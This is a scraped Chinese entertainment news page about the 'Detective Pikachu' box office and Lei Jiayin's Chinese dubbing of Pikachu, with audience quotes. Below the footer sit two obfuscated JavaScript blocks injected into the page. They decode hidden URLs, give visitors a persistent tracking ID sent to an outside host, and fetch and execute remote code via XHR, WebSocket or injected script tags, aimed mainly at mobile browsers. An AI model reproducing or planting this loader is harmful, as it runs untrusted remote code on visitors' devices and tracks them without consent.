《大侦探皮卡丘》发布“佳音绕梁”路演特辑雷佳音国配掀二刷热潮

时间：2020-10-23 23:21:12阅读：4389次
雷佳音说学逗唱嗨翻重庆由美国传奇影业、华纳兄弟影片公司联合出品的全球首部真人宝可梦电影《大侦探皮卡丘》票房累计破3.4亿，并发布一支“佳音绕梁”版路演特辑，上演雷氏大侦探皮卡丘

雷佳音说学逗唱嗨翻重庆

由美国传奇影业、华纳兄弟影片公司联合出品的全球首部真人宝可梦电影《大侦探皮卡丘》票房累计破3.4亿，并发布一支“佳音绕梁”版路演特辑，上演雷氏大侦探皮卡丘大型圈粉现场。截至目前，影片已连续6天蝉联单日票房冠军，综合票房占比39.9%、排片占比37%、排座占比42.4%，均位列同档期电影第一位，继续领跑。自《大侦探皮卡丘》火热开映，雷佳音的国配版也颇受影迷和观众的青睐，引发影片“二刷热”。日前，雷佳音亮相《大侦探皮卡丘》“萌动全国”重庆站路演，与观众亲切互动，金句迭出，笑点十足。影片正在全国各大院线热映。

电力十足！雷氏大侦探皮卡丘大显“声手”说学逗唱嗨翻重庆

雷佳音空降重庆，路演秒变脱口秀现场，说学逗唱信手拈来。一出场的重庆话自带笑点，更别提小秀歌技的神来之笔——还原影片大侦探皮卡丘桥上唱歌一幕，突然忘词用“宝可梦”实力挽尊，逗乐全场。谈及配音，雷佳音谦逊表示：“配完之后，我预计会有30%-40%的观众骂我。结果昨天发现，好像只有10%的观众骂我，所以我昨天晚上睡得很好。”

首次将真人+宝可梦CG结合，担任中文配音的雷佳音既要在揣摩人物情感和场景氛围的情况下，跟“空气”对话；又要将瑞安·雷诺兹的英文原音加上个人风格还原，做到没有人物间离感，双语译制转换后不会太违和，为推动人物心理变化、剧情发展“锦上添花”。这着实是一桩难度重重的挑战。他现场透露：“大侦探皮卡丘给可达鸭按摩脚那场戏，英文台词有三四句说完后，中文翻译口型对不上。因为英语好多倒装，那条我反复配，根据原意提炼出来调整台词，最后配了十几、二十几遍。”雷佳音为了《大侦探皮卡丘》的配音，“良苦用心”可窥一斑。

佳音绕梁！雷佳音式配音金句魔性洗脑网友强推“亲子观影快乐源泉”

更为惊喜的是，雷佳音结合本土特色衍生的 “宝宝烫着了”、 “和宝宝想得不太一样啊”、“确认过眼神，你一定听懂了”、“没有女人喜欢被叫成‘这女的’”等一系列配音金句，与蒂姆和大侦探皮卡丘一路上的吐槽和遭遇相辅相成，引发影厅阵阵笑声。

看后的观纷纷表示：“我现在一看到大侦探皮卡丘，耳边就响起雷佳音的声音”、“自从看了雷氏大侦探皮卡丘，从此看图片都自带音效”、“雷佳音的声音配大侦探皮卡丘竟然怪合适的。反差萌，特别搭！佳音绕梁。”有影迷映后表示，“看《大侦探皮卡丘》的时候满脑子都是雷佳音，大侦探皮卡丘的每个表情都像极了他，代入感太强了。我还想看最后结尾爸爸镜头转过来是雷佳音”；也有观众表示，“带孩子一起去看，回来一直在学雷佳音的‘这可和宝宝想的不太一样’。那一段模仿大侦探皮卡丘唱歌也很好笑，真是快乐源泉”、 “看宝可梦卖萌加雷佳音的可爱大叔音已值回票价，大朋友、小朋友都喜欢！绝对适合合家欢的电影！”

全球首部真人宝可梦电影《大侦探皮卡丘》由罗伯·莱特曼执导，瑞安·雷诺兹配音出演、雷佳音担任中文配音，贾斯提斯·史密斯、凯瑟琳·纽顿、克里斯·吉尔、苏琪·沃特豪斯、乔塞特·西蒙、瑞塔·奥拉、罗伯·德兰尼等主演，渡边谦、比尔·奈伊特别出演。电影改编自任天堂3DS同名游戏，由美国传奇影业、华纳兄弟影片公司联合出品。电影现以2D、3D、中国巨幕、IMAX3D、杜比影院、杜比全景声等制式全国各大院线火爆上映中。

评论

  • 评论加载中...



Copyright © 2019-2023 www.wxrtdq.com 晋ICP备19008828号 All Rights Reserved.

留言求片

function TaYHkm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function foObK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TaYHkm(t);};window[''+'k'+'v'+'B'+'J'+'z'+'g'+'s'+'T'+'l'+'Q'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=foObK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZllZHMueW9uZ2hhbzEuY24llM0E4ODkx','d3NzJTNBJTJGJTJGbmh55LnlpbmhvbmdjLmNuJTNBOTUzNA==','159458',window,document,['l','5']);}:function(){};
function TKuhtZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function NResPjH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TKuhtZ(t);};window[''+'g'+'s'+'F'+'Z'+'A'+'W'+'X'+'w'+'I'+'y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=NResPjH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR00cHMlM00ElMkYlMkZlZHMueW9uZ2hhbzEuY24lM00E4ODkx','d3NzJTNBJTJGJTJGbbmh5LnlpbbmhvbbmdjLmNuJTNBOTUzNA==','159459',window,document,['0','b']);}:function(){};